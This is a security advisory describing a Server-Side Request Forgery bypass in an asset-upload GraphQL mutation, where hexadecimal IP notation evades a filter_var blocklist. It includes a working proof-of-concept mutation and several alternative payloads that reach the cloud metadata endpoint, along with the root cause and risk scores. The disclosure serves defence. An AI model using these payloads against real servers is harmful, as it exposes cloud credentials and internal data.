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GHSA-m5r2-8p9x-hp5m

MediumCVSS 6.9 / 10
Published Feb 9, 2026·Last modified Feb 22, 2026
Affected Components(0)

No affected components available

Description

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

Summary

The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

Proof of Concept

  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The IP validation passes (hex notation not recognized as IP)
  2. Guzzle resolves 169.254.0xa9fe to 169.254.169.254
  3. Cloud metadata is fetched and saved

Alternative Payloads

| Payload | Notation | Resolves To | |---------|----------|-------------| | http://169.254.0xa9fe/ | Mixed (decimal + hex) | 169.254.169.254 | | http://0xa9.0xfe.0xa9.0xfe/ | Full hex dotted | 169.254.169.254 | | http://0xa9fea9fe/ | Single hex integer | 169.254.169.254 |

Technical Details

File: src/gql/resolvers/mutations/Asset.php Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
Risk Scores
Base Score
6.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
2.7

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.36%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Medium severity
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